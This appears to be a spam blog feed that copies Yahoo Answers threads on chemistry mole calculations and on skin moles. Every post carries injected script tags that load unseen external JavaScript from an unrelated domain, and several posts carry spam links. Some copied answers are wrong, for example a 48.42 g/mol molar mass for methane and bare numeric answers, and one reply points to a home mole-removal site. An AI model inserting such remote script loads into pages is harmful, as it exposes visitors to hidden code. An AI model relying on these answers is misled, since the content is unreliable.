tag:blogger.com,1999:blog-85368342539437454692024-02-08T04:14:10.627-08:00molesMANDYhttp://www.blogger.com/profile/03889723521043520089noreply@blogger.comBlogger184125tag:blogger.com,1999:blog-8536834253943745469.post-55591505539603181932010-04-24T00:29:00.001-07:002010-04-24T00:29:18.608-07:00How many moles of iron, Fe, can be made from Fe2 O3 by the use of 18 moles of carbon monoxide, CO, in the ....How many moles of iron, Fe, can be made from Fe2 O3 by the use of 18 moles of carbon monoxide, CO, in the following reaction?<br><br /><br /><br><br /><br />Fe2 O3+3 CO--------------- 2 Fe+3 CO2<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>How many moles of iron, Fe, can be made from Fe2 O3 by the use of 18 moles of carbon monoxide, CO, in the ....<br>3 moles of CO react with 1 mole of Fe203 to yield 2 moles of Fe<br><br /><br /><br><br /><br />18 moles of C0 react with 6 mols of Fe2O3 to yield 12 moles of Fe<br><br /><br /><br><br /><br />Thierry<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>MANDYhttp://www.blogger.com/profile/03889723521043520089noreply@blogger.com0tag:blogger.com,1999:blog-8536834253943745469.post-88910187503086027072010-04-24T00:29:00.000-07:002010-04-24T00:29:03.634-07:00How many moles of Hydrogen are needed in order to produce 4 moles of ammonia?According to the following reaction, how many moles of hydrogen are needed in order to produce 4 moles of ammonia? 3 H2 (g) + N2 (g) ----%26gt; 2 NH3 (g)<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>How many moles of Hydrogen are needed in order to produce 4 moles of ammonia?<br>6 moles of Hydrogen<br><br /><br />2 moles of Nitrogen<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>MANDYhttp://www.blogger.com/profile/03889723521043520089noreply@blogger.com0tag:blogger.com,1999:blog-8536834253943745469.post-38188049044429279232010-04-24T00:28:00.003-07:002010-04-24T00:28:44.786-07:00Radioactive Decay - Moles?Palladium-107 undergoes Beta decay (half-life=6.5E5 yrs.) to form Silver-107. How long will it take for .150 moles of Ag-107 to form from 1.25 moles of Pd-107?<br><br /><br /><br><br /><br />Correct Answer: 1.2E5 yrs<br><br /><br /><br><br /><br />Any idea on how I'd go about doing this? I've tried plugging the moles directly into the formula:<br><br /><br /><br><br /><br />ln(Ao/At)=kt, but I keep getting the wrong answer...<br><br /><br /><br><br /><br />Thanks!<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>Radioactive Decay - Moles?<br>You used the natural logarithm.<br><br /><br />Then k is 1 /relaxation time.<br><br /><br />If you use base 10 you can use k = 1 / half life<br><br /><br /><br><br /><br />Th<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><a href=http://night-jasmine.blogspot.com/>night jasmine</a>MANDYhttp://www.blogger.com/profile/03889723521043520089noreply@blogger.com0tag:blogger.com,1999:blog-8536834253943745469.post-4058558674853413032010-04-24T00:28:00.002-07:002010-04-24T00:28:34.749-07:00How many moles are prepared from????How many moles of P4S10 can be prepared from 0.25 moles of P4 and 0.25 moles of S8?<br><br /><br />There are no other reactants or products.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>How many moles are prepared from????<br>0.2<br><br /><br /><br><br /><br />.25 moles * 8/10<br><br /><br />you need 10 atoms of S in the product. The reactant has only 8, so for every .25 moles of S8, you will get .25 * 8/10 of reactant.<br>Reply:4P4 + 5S8 --%26gt; 4P4S10<br><br /><br /><br><br /><br />You need 5 moles of S8 to react with 4 moles of S4<br><br /><br />S8 is the limiting reagent. <br><br /><br /><br><br /><br />0.25 moles S8 x (4/5) = 0.20 moles of P4S10<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>MANDYhttp://www.blogger.com/profile/03889723521043520089noreply@blogger.com0tag:blogger.com,1999:blog-8536834253943745469.post-74119429176099175892010-04-24T00:28:00.001-07:002010-04-24T00:28:19.036-07:00How many moles of ions are one mole of Ca(OH)2?the questions starts with: the ions present in Ca(OH)2 are Ca2+ and OH -.<br><br /><br /><br><br /><br />the second part of the questions is how many moles of electrons are in 1 mole of OH minus ions.<br><br /><br /><br><br /><br />Please show me how u did it and what it is that you are doing. THank you very much. Use the above info to answer the question.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>How many moles of ions are one mole of Ca(OH)2?<br>Ca(OH)2 --%26gt; Ca^2+ + 2OH-<br><br /><br /><br><br /><br />From 1 mol of Ca(OH)2, 1 mol of Ca^2+ ions and 2 mol OH- ions are produced, for a total of 3 mol ions.<br><br /><br /><br><br /><br />1 mol OH- has 1 mol electrons, if we're only counting the electron that gives rise to the charge. If we're counting total electrons in OH-, then O has 8, H has 1, and there is 1 electron giving the charge, for a total of 10 electrons in OH-.<br><br /><br />Then 1 mol OH- has 10 moles of electrons.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>MANDYhttp://www.blogger.com/profile/03889723521043520089noreply@blogger.com0tag:blogger.com,1999:blog-8536834253943745469.post-30714284784756669492010-04-24T00:28:00.000-07:002010-04-24T00:28:03.306-07:00Atoms and moles -Chem- EASY BEST ANSWER!!?Hello does anyone know the answer to these problems because it'll earn best answer. my answers were wrong. <br><br /><br /><br><br /><br /><br><br /><br /> How many atoms of hydrogen are contained in 100g of methane (CH4)<br><br /><br />My Answer: There are 25 atoms of Hydrogen in 100 grams of methane.<br><br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~...<br><br /><br /> How many moles of P4O10 are produced when we react 8 moles of phosphorous with oxygen?<br><br /><br />My Answer: 1.6 Moles<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>Atoms and moles -Chem- EASY BEST ANSWER!!?<br>I have checked all of your last questions and saw that all of them are in the same type:<br><br /><br />"Mole - Mass - Number of Particles" relationship.<br><br /><br /><br><br /><br />Therefore, rather that to give individual answers, it will be better to teach the concept so that you can solve the questions of the same type.<br><br /><br />-----------------------------<br><br /><br />Elements have "symbols" and compounds have " formulas". The symbol of an element or the formula of a compound represents their one mole.<br><br /><br /><br><br /><br />For example; <br><br /><br />- H2O = 1 mol water, in which 1 mol O and 2 mol H are present. <br><br /><br />- NH3 = 1 mol ammonia, in which 1 mol N and 3 mol H are present.<br><br /><br /><br><br /><br />In a chemical equation;<br><br /><br />- N2 + 3H2 ------%26gt; 2NH3<br><br /><br />1 mol nitrogen (N2) reacts with 3 moles hydrogen (H2) and produces 2 moles of ammonia (NH3).<br><br /><br /><br><br /><br />Now, the number of particles:<br><br /><br />1 mole always represents a specific number, called Avogadro's number that is 6.02 x 10^23.<br><br /><br /><br><br /><br />For an element:<br><br /><br />1 mole of any element contains Avogadro's number of "atoms" of that element. <br><br /><br />1 mol Fe = 6.02 x 10^23 Fe atoms<br><br /><br />1 mol Mg = 6.02 x 10^23 Mg atoms.<br><br /><br /><br><br /><br />For a compound:<br><br /><br />1 mole of any molecular (covalent) compound contains Avogadro's number of "molecules" of that compound. <br><br /><br />1 mol NH3 = 6.02 x 10^23 NH3 molecules.<br><br /><br />1 mol H2O = 6.02 x 10^23 H2O molecules.<br><br /><br /><br><br /><br />1 mole of any ionic compound contains Avogadro's number of "formula units" of that compound. <br><br /><br />1 mol NaCl = 6.02 x 10^23 NaCl formula units.<br><br /><br />1 mol CaO = 6.02 x 10^23 CaO formula units.<br><br /><br /><br><br /><br />Now, we have come to the mass relationship:<br><br /><br /><br><br /><br />The mass of 1 mole of any element is numerically equal to its atomic mass expressed in grams.<br><br /><br />For example; atomic mass of Fe is 56. If you have 56 g of iron, this means that you have 1 mole of iron.<br><br /><br />Atomic mass of sodium is 23. So, 23 g Na = 1 mole.<br><br /><br /><br><br /><br />If you combine the number of particles, you get 3 relationship:<br><br /><br />1 mol Fe = 56 g = 6.02 x 10^23 atoms of Fe<br><br /><br />1 mol Na = 23 g = 6.02 x 10^23 atoms of Na<br><br /><br />1 mol Mg = 24 g = 6.02 x 10^23 atoms of Mg<br><br /><br /><br><br /><br />The mass of 1 mole of any compound is numerically equal to its formula mass expressed in grams. For example;<br><br /><br /><br><br /><br />H2SO4 formula stands for 1 mol sulfuric acid, in which there are 2 moles of H, 1 mole of S and 4 moles of O. Their atomic masses are 1, 32 and 16 respectively. Therefore, the formula <br><br /><br />mass of H2SO4 : (2x1) + 32 + (4x16) = 2 + 32 + 64 = 98<br><br /><br /><br><br /><br />If you have 98 g of H2SO4, this means that you have 1 mole of H2SO4.<br><br /><br /><br><br /><br />Now, lets apply what we have learnt to your questions.<br><br /><br /><br><br /><br />(1) The formula mass of methane (CH4) = 12 + 1x4 = 16<br><br /><br />This means that 16 g of CH4 = 1 mole or in other words,<br><br /><br />the molar mass of CH4 = 16 g/mol.<br><br /><br />16 g CH4 = 1 mol and it contains 4 moles of H atom<br><br /><br />then, 100 g CH4 will contain;<br><br /><br />4 mol H x (100 g CH4 / 16 g CH4) = 25 mol H atom.<br><br /><br />But the question requires "the number of atoms".<br><br /><br />1 mole of any element has Avogadro's number of atoms, therefore;<br><br /><br />25 mol H x 6.02x10^23 atom/mol = 150.5x10^23<br><br /><br />= 1.505x10^25 atom H<br><br /><br /><br><br /><br />(2) Although the question implies a reaction, there is no need to write an equation of the reaction.<br><br /><br />The formula of P4O10 states that you will need 4 mol P and 10 mol O to make 1 mol P4O10.<br><br /><br />In this question the limiting substance is P (its amount is specified). <br><br /><br />Since 4 mol P produces 1 mol P4O10<br><br /><br />8 mol P produces (P is doubled, P4O10 is also doubled) 2 mol P4O10. Or,<br><br /><br />1 mol P4O10 x (8 mol P / 4 mol P) = 2 mol P4O10.<br><br /><br /><br><br /><br />I think, it is clear and I believe that you can solve your other questions. If not, please inform me. Since you are not one of my contacts, from time to time I look at your profile page to investigate your new questions. Because in answering the questions, the priority is given to those who appreciate my answers.<br>Reply:25 is the amount of grams of hydrogen, not atoms. Convert 25g of hydrogen to moles, then to atoms using avagrados number. The answer should be 1.49 times 10 to the 24 atoms.<br>Reply:A lot more hydrogen's than that!<br><br /><br /><br><br /><br />100g CH4 X 1mol/48.42g X 4mol H/1mol C X 6.022 X 10^23<br><br /><br /><br><br /><br />= 4.97 X 10^24 atoms of hydrogen.<br><br /><br /><br><br /><br />Need balanced equation for 2.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>MANDYhttp://www.blogger.com/profile/03889723521043520089noreply@blogger.com0tag:blogger.com,1999:blog-8536834253943745469.post-59846359466984857852010-04-24T00:27:00.001-07:002010-04-24T00:27:45.608-07:00How many moles of Aluminum are needed to form 3.4 moles of Aluminum oxide?Aluminum oxide is formed from the reaction of metallic aluminum with oxygen gas. How many moles of Aluminum are needed to form 3.4 moles of Aluminum oxide? This is a simple ratio problem. Mass is not involved.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>How many moles of Aluminum are needed to form 3.4 moles of Aluminum oxide?<br>The formula for aluminium oxide is Al2O3 (you can just google the term if you want to know the chemical formula for a compound). If you wanted one molecule of Al2O3, you would obviously need two atoms of aluminium. So, if you want 3.4 moles of Al2O3, you would need twice as many moles of aluminium.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><a href=http://frangipni.blogspot.com/>frangipni</a>MANDYhttp://www.blogger.com/profile/03889723521043520089noreply@blogger.com0tag:blogger.com,1999:blog-8536834253943745469.post-40842489077594078742010-04-24T00:27:00.000-07:002010-04-24T00:27:31.086-07:00Are freckles/moles really beauty marks?if a woman has many freckles or moles on her face (i don't mean the big, ugly disgusting, wart-looking moles) but just little dots on her face, does this mean she is pretty? Do a lot of dots on your face symbolize beauty? I notice a lot of pretty girls with freckles and moles, but is this true or just a myth? Are they really "beauty" marks?<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>Are freckles/moles really beauty marks?<br>it doesn't really mean they are guaranteed to be pretty.<br><br /><br /><br><br /><br />but the name beauty mark sounds alot prettier then "mole" or "freckles" people just prefer to call it that because it sounds nicer.<br><br /><br /><br><br /><br />there are plenty of beautiful girls without "beauty marks" and there are also beautiful girls with them. but it is generally not the freckle or mole that makes them beautiful or pretty.<br>Reply:No, they are cancer.<br>Reply:first little spots on the chiks as a kid i would say hot dut *** you get older they go awaya so im not shere i have a lot of freakels<br>Reply:well me i dont think thats luks pretty the only kind of frecklethat i think luks nice is a small one like right n top of ur upper lip n the right or left side corner<br>Reply:Beauty spots are accepted depending on the culture or the society you live in.<br><br /><br />If you have a pretty or loveable face, a spot or a mark will not disfigure it.<br><br /><br />Some times a spot can highlight a feature in your face and attract other people to admire that feature and eventually come to think “ people are cute with beauty spots”<br><br /><br /><br><br /><br />Freckles or moles can also indicate early skin abnormalities which maybe symptoms of other diseases, cancer or even that you are expose to pollution or too much sun.<br><br /><br /><br><br /><br />Its always wise to show it to your docter for consultaion.<br>Reply:Most moles are hereditary and those that you were not born with may be a result of sun exposure. Like freckles, it is believed that moles can form due to overexposure to sunlight. Moles that have been viewed as beauty marks have been appreciated for many centuries and in many parts of the world. Women have, for a long time, used makeup to apply faux beauty marks. Typically, moles that are known as beauty marks are located on the face. The most famous recent moles belong to Cindy Crawford, Madonna, and, my personal favorite, Enrique Iglesias. As far as America's appreciation for the beauty mark goes, you can attribute it all to the iconic Marilyn Monroe.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>MANDYhttp://www.blogger.com/profile/03889723521043520089noreply@blogger.com0tag:blogger.com,1999:blog-8536834253943745469.post-86439380832729311022010-04-24T00:26:00.002-07:002010-04-24T00:26:59.281-07:00How many moles of H2O are produced from the complete reaction of 5.24 moles of CH4 ?For the reaction <br><br /><br /><br><br /><br /><br><br /><br />CH4 + O2 → CO2 + H2O <br><br /><br /><br><br /><br /><br><br /><br />how many moles of H2O are produced from the complete reaction of 5.24 moles of CH4 ?<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>How many moles of H2O are produced from the complete reaction of 5.24 moles of CH4 ?<br>10.48 mols <br><br /><br /><br><br /><br />since CH4 + O2 → CO2 + 2H2O<br><br /><br /><br><br /><br />ie 1 mole CH4 produces 2 moles H2O<br><br /><br /><br><br /><br />Therefore 5.24 mols CH4 produces 10.48 mols H2O<br>Reply:i really don't know...<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>MANDYhttp://www.blogger.com/profile/03889723521043520089noreply@blogger.com0tag:blogger.com,1999:blog-8536834253943745469.post-27507265883601926722010-04-24T00:26:00.001-07:002010-04-24T00:26:43.119-07:00How many moles of copper (II) nitrate are required to produce at least .50 moles of either N dioxide or O gas?copper (II) nitrate decomposes upon heating to form copper (II) oxide, nitrogen dioxide gas, and oxygen gas. How many moles of copper (II) nitrate are required to produce at least .50 moles of either nitrogen dioxide or oxygen gas?<br><br /><br /><br><br /><br /><br><br /><br />a. .50<br><br /><br />b. 4.0<br><br /><br />c. 2.0<br><br /><br />d. .25<br><br /><br />e. 1.0<br><br /><br /><br><br /><br /><br><br /><br />show how you got it!<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>How many moles of copper (II) nitrate are required to produce at least .50 moles of either N dioxide or O gas?<br>First write equation:<br><br /><br /><br><br /><br />Cu(NO3)2 --%26gt; NO2 + O2 + CuO<br><br /><br /><br><br /><br />Balance Equation<br><br /><br /><br><br /><br />2Cu(NO3)2 --%26gt; 4NO2 + O2 + 2CuO<br><br /><br /><br><br /><br />From balanced Equation, O2 is limiting reagent. <br><br /><br />So find amount of Cu(NO3)2 required to produce 0.5mol of O2 using dimensional analysis.<br><br /><br /><br><br /><br />0.5mol O2 × 2 mol Cu(NO3)2 = 1 mol Cu(NO3)2 required. [E]<br><br /><br /> 1 mol O2<br>Reply:2Cu(NO3)2 → 2CuO + 4NO2 + O2<br><br /><br /><br><br /><br />2 mole of Cu(NO3)2 =%26gt; 2 mole of Cu, 4 moles of N, 12 moles of O<br><br /><br /><br><br /><br />which would make 2xCuO+4xNO2+O2<br><br /><br /><br><br /><br />the reason we have to take 2 moles in the beginning is to make sure we have O2 at the end.<br><br /><br /><br><br /><br />So, it seems that the amount of O2 and the amount of NO2 are different at the end. if you want 0.5 moles of O2, you need 1 mole of Cu(NO2)3, if you yant 0.5 moles of NO2, you need 0.25 moles of Cu(NO2)3.<br><br /><br /><br><br /><br />check the link:<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>MANDYhttp://www.blogger.com/profile/03889723521043520089noreply@blogger.com0tag:blogger.com,1999:blog-8536834253943745469.post-14005311722900234132010-04-24T00:26:00.000-07:002010-04-24T00:26:14.073-07:00How many moles of ions are present when .10 moles of the following compounds are dissolved in WATER?How many moles of ions are present when .10 moles of the following compounds are dissolved in WATER?<br><br /><br /><br><br /><br />A). K2SO4<br><br /><br /><br><br /><br />B). Fe(NO3)3<br><br /><br /><br><br /><br />C). Al2(SO4)3<br><br /><br /><br><br /><br /><br><br /><br />D). NiSO4<br><br /><br /><br><br /><br /><br><br /><br />Any help what so ever would be appreciated. Thanks!<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>How many moles of ions are present when .10 moles of the following compounds are dissolved in WATER?<br>a. 2k+ = .20moles , SO42-=.10moles<br><br /><br /><br><br /><br />b.Fe3+=.10moles,3NO3-= .30moles<br><br /><br /><br><br /><br />c.2Al3+=.20moles,3SO42-=.30moles<br><br /><br /><br><br /><br />d. Ni2+=.10moles,SO42-=.10moles<br>Reply:Taking that what all of the salts form ions completely the following will happen<br><br /><br /><br><br /><br />K2SO4 -%26gt; 2K+ + [SO4]2- = 3 ions so 3 x 0.1 = 0.3 moles<br><br /><br />Fe(NO3)3 -%26gt; Fe3+ + 3[NO2]- = 4 ions so 4 x 0.1 = 0.4 moles<br><br /><br />Al2(SO4)3 -%26gt; 2Al3+ + 3[SO4]2- = 5 ions so 5 x 0.1 = 0.5 moles<br><br /><br />NiSO4 -%26gt; Ni2+ + [SO4]2- = 2 ions so 2 x 0.1 = 0.2 moles<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><a href=http://1bleeding-heart.blogspot.com/>bleeding heart</a>MANDYhttp://www.blogger.com/profile/03889723521043520089noreply@blogger.com0tag:blogger.com,1999:blog-8536834253943745469.post-78206721848480458832010-04-24T00:25:00.003-07:002010-04-24T00:25:55.162-07:00How many moles of ions are present when .10 moles of the following compounds are dissolved inwater?Please helpHow many moles of ions are present when .10 moles of the following compounds are dissolved in WATER?<br><br /><br /><br><br /><br />A). K2SO4<br><br /><br /><br><br /><br />B). Fe(NO3)3<br><br /><br /><br><br /><br />C). Al2(SO4)3<br><br /><br /><br><br /><br /><br><br /><br />D). NiSO4<br><br /><br /><br><br /><br /><br><br /><br />Any help what so ever would be appreciated. Thanks!<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>How many moles of ions are present when .10 moles of the following compounds are dissolved inwater?Please help<br>a 30<br><br /><br />b 40<br><br /><br />c 50<br><br /><br />d 20<br>Reply:it depends what volume of water you have then u can use the equation n=CxV and n= m/M<br><br /><br /><br><br /><br />where n = number of moles<br><br /><br /> c = concentration (.10 moles)<br><br /><br /> v = Volume of water<br><br /><br /> m = mass of compound used<br><br /><br /> M = molar mass of each compound<br><br /><br /><br><br /><br />Good luck<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>MANDYhttp://www.blogger.com/profile/03889723521043520089noreply@blogger.com0tag:blogger.com,1999:blog-8536834253943745469.post-55745577217934830072010-04-24T00:25:00.002-07:002010-04-24T00:25:39.479-07:00Can you help me determine moles of a product?Using the following balanced reaction, determine how many moles of hydrogen gas (H2) are produced from 5.00 g Na:<br><br /><br />2Na + 2H(subscript 2)O ---------2NaOH +H(subscript 2)<br><br /><br />a. 2.5 moles<br><br /><br />b. 0.109 moles<br><br /><br />c. 0.217 moles<br><br /><br />d. 0.435 moles<br><br /><br />e. not enough information<br><br /><br /><br><br /><br />Thank you<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>Can you help me determine moles of a product?<br>the answer is a) 0.109 mole<br><br /><br /><br><br /><br />first you have to find number of moles. since you are given the mass of Na, <br><br /><br /><br><br /><br />no of moles of Na = 5/23<br><br /><br /> = 0.21739 <br><br /><br /><br><br /><br />from the equation, (no of moles of H2) / (no of moles of Na) = 1/2<br><br /><br /><br><br /><br />so therefore, no of moles of H2 = 1/2 x 0.21739<br><br /><br /> = 0.1086<br><br /><br /> = 0.109 moles (3sf)<br><br /><br /><br><br /><br />hope this helps! :D<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>MANDYhttp://www.blogger.com/profile/03889723521043520089noreply@blogger.com0tag:blogger.com,1999:blog-8536834253943745469.post-24989592288745687082010-04-24T00:25:00.001-07:002010-04-24T00:25:22.353-07:00How many moles in a gram of solution/liquid?Is there a mole in every gram of solution? or is there another way of weighing how many moles in a solution/liquid? <br><br /><br />I need 0.083 moles of water, how much is that in centimeters or grams?<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>How many moles in a gram of solution/liquid?<br>No, there is not a mole in every gram of solution. It all depends on the molecular weight, which depends on the identity of the elements involved.<br><br /><br /><br><br /><br />Water's molecular weight is 18 g/mole, so 0.083 moles of water would weigh 1.49 grams. Given water's density is roughly 1 g/ml, that would also be 1.49 ml or 1.49 cm^3.<br>Reply:Isn't 1 mole 1 kg in 1 litre of solution?<br><br /><br /><br><br /><br />I can't remember -- but you should see the damage just a single mole did to my lawn last year!<br><br /><br /><br><br /><br />(PS as is probably evident I was rubbish at Chem..and now TheOnlyBeldin has made me feel quite stupid...I'll stick to subjects I feel happier with in future)<br>Reply:mole in the hole<br>Reply:You need .083 moles of water? <br><br /><br /><br><br /><br />(.083 moles H2O) (18 grams H2O/ mol of H2O) = (Moles cancel out) 1.49 grams H2O<br><br /><br /><br><br /><br />If you want a molar concentration of .083 M, that's different...<br>Reply:Actually.no. of moles=weight/mol.weight<br><br /><br />therefore,weight=moles into*18<br><br /><br />=0.083*18<br><br /><br />=1.494 g<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>MANDYhttp://www.blogger.com/profile/03889723521043520089noreply@blogger.com0tag:blogger.com,1999:blog-8536834253943745469.post-2707840601232763192010-04-24T00:25:00.000-07:002010-04-24T00:25:07.857-07:00How many moles of Fe2+ can be oxidized by 0.043 moles MnO4-?the redox reaction that i balanced was:<br><br /><br />2Mno4- + 5HC2O4- + 11H+ --%26gt; 2Mn2+ + 8H2O + 10CO2<br><br /><br />i got as far as converting the moles of MnO4- to grams; is that even nescesary? or would i just use the the ration to find the moles of Fe2+? could someone please help? thanks!<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>How many moles of Fe2+ can be oxidized by 0.043 moles MnO4-?<br>The equation is not this ( where is Fe2+? )<br><br /><br /><br><br /><br />but it is :<br><br /><br /><br><br /><br />8H+ + MnO4- + 5Fe2+ %26gt;%26gt; Mn2+ + 5Fe3+ +4H2O<br><br /><br /><br><br /><br />the ratio between MnO4- and Fe2+ is 1 : 5<br><br /><br /><br><br /><br />1 : 5 = 0.043 : x<br><br /><br /><br><br /><br />x = 0.215 moles Fe2+ that can be oxidized<br>Reply:You don't need grams, just the ratio. MnO4- has room for 5 electrons. Depending on what's happening to your iron, and I suspect it's going from 2+ to 3+ (You gave the wrong equation); if so, you can oxidixe 5 times your .043 moles as each mole of permanganate can oxidize on Fe2+ to Fe3+.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><a href=http://street-fighting2.blogspot.com/>street fighting</a>MANDYhttp://www.blogger.com/profile/03889723521043520089noreply@blogger.com0tag:blogger.com,1999:blog-8536834253943745469.post-24258706769808904902010-04-24T00:24:00.002-07:002010-04-24T00:24:50.024-07:00Calculate the moles?Calculate the moles of iron (III) chloride used. The concentration was 0.400 g/ml.<br><br /><br />I know how to calculate grams to moles..but i dont understand using g/ml<br><br /><br />should i just forget about ml and change it to moles?<br><br /><br />please help.ty<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>Calculate the moles?<br>You would need to know the volume of the iron (III) chloride solution used. If you multiply the volume by the concentration, then you will know the number of grams. Then you can convert to moles using the molecular weight.<br>Reply:You do have a units problem. You need a volume to calculate a mass from density [g/ml]. <br><br /><br />mass g = volume ml * density g/ml<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>MANDYhttp://www.blogger.com/profile/03889723521043520089noreply@blogger.com0tag:blogger.com,1999:blog-8536834253943745469.post-10689622588918166492010-04-24T00:24:00.001-07:002010-04-24T00:24:34.255-07:00How many moles of oxygen are produced per day for one person who requires the emergency breathing device?Sodium peroxide is sometimes used in emergency breathing devices on submarines since the compound will react with carbon dioxide to produce oxygen and sodium carbonate. Answer the following questions if we assume that one person produces about 10.0 moles of carbon dioxide in a 24 hour period. <br><br /><br /><br><br /><br />2Na2O2(s) + 2CO2(g) 2Na2CO3(s) + O2(g) <br><br /><br /><br><br /><br />How many moles of oxygen are produced per day for one person who requires the emergency breathing device?<br><br /><br /><br><br /><br />How many grams of sodium peroxide are required to remove 10.0 moles of carbon dioxide?<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>How many moles of oxygen are produced per day for one person who requires the emergency breathing device?<br>the ratio between CO2 and O2 is 2 : 1<br><br /><br />Moles O2 = 5.00<br><br /><br />20 moles Na2O2 needed =%26gt; 20 x 78 g/mol = 1560 g<br>Reply:FYI NaCO2 is no longer used on US submarines.<br><br /><br /><br><br /><br />LiOH and NaC2 are used for emergency scrubbing now.<br><br /><br /><br><br /><br />NaCO2 was used in OBA (Rebreathing technology) but have now been discontinued.<br><br /><br /><br><br /><br />I know the spirit of the question, but just wanted to add my two sense.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>MANDYhttp://www.blogger.com/profile/03889723521043520089noreply@blogger.com0tag:blogger.com,1999:blog-8536834253943745469.post-38657465288822554292010-04-24T00:24:00.000-07:002010-04-24T00:24:04.827-07:00How many moles of SO3 are produced from the complete reaction of 3.44 moles of SO2 ?For the reaction <br><br /><br /><br><br /><br /><br><br /><br />SO2 + O2 → SO3 <br><br /><br /><br><br /><br /><br><br /><br />how many moles of SO3 are produced from the complete reaction of 3.44 moles of SO2 ?<br><br /><br /><br><br /><br />Enter a numeric answer only, no units.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>How many moles of SO3 are produced from the complete reaction of 3.44 moles of SO2 ?<br>3.44<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>MANDYhttp://www.blogger.com/profile/03889723521043520089noreply@blogger.com0tag:blogger.com,1999:blog-8536834253943745469.post-33336335623434997702010-04-24T00:23:00.002-07:002010-04-24T00:23:45.721-07:00What makes moles grow on your body?When I was diagnosed with diabetes I started getting moles all over the my upper back. Now I have about 15 or 16 small moles on the shoulder part of my upper back, 2 or 3 on my neck and 1 on the left side of my face on my hair line. Do any of you know why this happened? what is a mole?<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>What makes moles grow on your body?<br>Moles are not "caused", they just develop...usually (but not always) before the age of 20. Moles are simply a growth of pigmented cells. Most appear spontaneously or from exposure to sunlight. Moles are very common.<br><br /><br /><br><br /><br />Just always remember to keep an eye on your moles for the ABC's of melanomas:<br><br /><br />asymmetry<br><br /><br />border<br><br /><br />color<br><br /><br />diameter<br><br /><br />elevation<br><br /><br />If you see changes in an existing mole, always have it checked out by a dermatologist.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><a href=http://grappling2.blogspot.com/>grappling</a>MANDYhttp://www.blogger.com/profile/03889723521043520089noreply@blogger.com0tag:blogger.com,1999:blog-8536834253943745469.post-29124049076153493152010-04-24T00:23:00.001-07:002010-04-24T00:23:32.117-07:00About My Moles?I tryed pulling out all the moles on my face, it worked but only the mole on my lip stayed dissapeared but the other moles grew back! How can i remove it without a dermentologist or doctor?<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>About My Moles?<br>Oh my goodness.... you really shouldn't pull or pick at moles... it's really unhealthy. Sweetie the only way to get rid of a mole forever (safely) is to go to a doctor...<br>Reply:ouch!!!!!!<br>Reply:I really think you should consult a doctor for this.<br>Reply:Be careful. Sometimes moles have blood vessels in them %26amp; you might rupture it %26amp; bleed to death. Ok ... not to death. You might also cause scaring. Please go to a doctor to have them removed.<br>Reply:You really shouldn't pulled out the moles off your face. If it kept growing back it could one day turn cancerous. Not to mentioned you might end up with a facial skin that looks like the surface of the moon. Really, do consult a dermatologist. BTW, try reading "The chinese act of face reading". It tells you at you age, where the moles are and what it indicates ie your health, wealth etc. Then you could remove the bad one and keep the good moles.<br><br /><br /><br><br /><br /> You know that the mole that has disappeared from your lip, that mole indicates that you will never be out of food. No matter what's the position you're in, food is always aplenty for you. I'm sorry but I just can't help laughing,... you have removed your "food storage". I hope that grows back. Good Luck and I don't mean to be rude but it really is funny that you have removed a good mole.<br>Reply:You cant!<br>Reply:try this ( =<br><br /><br />http://www.fonoils.com/moles.html<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js 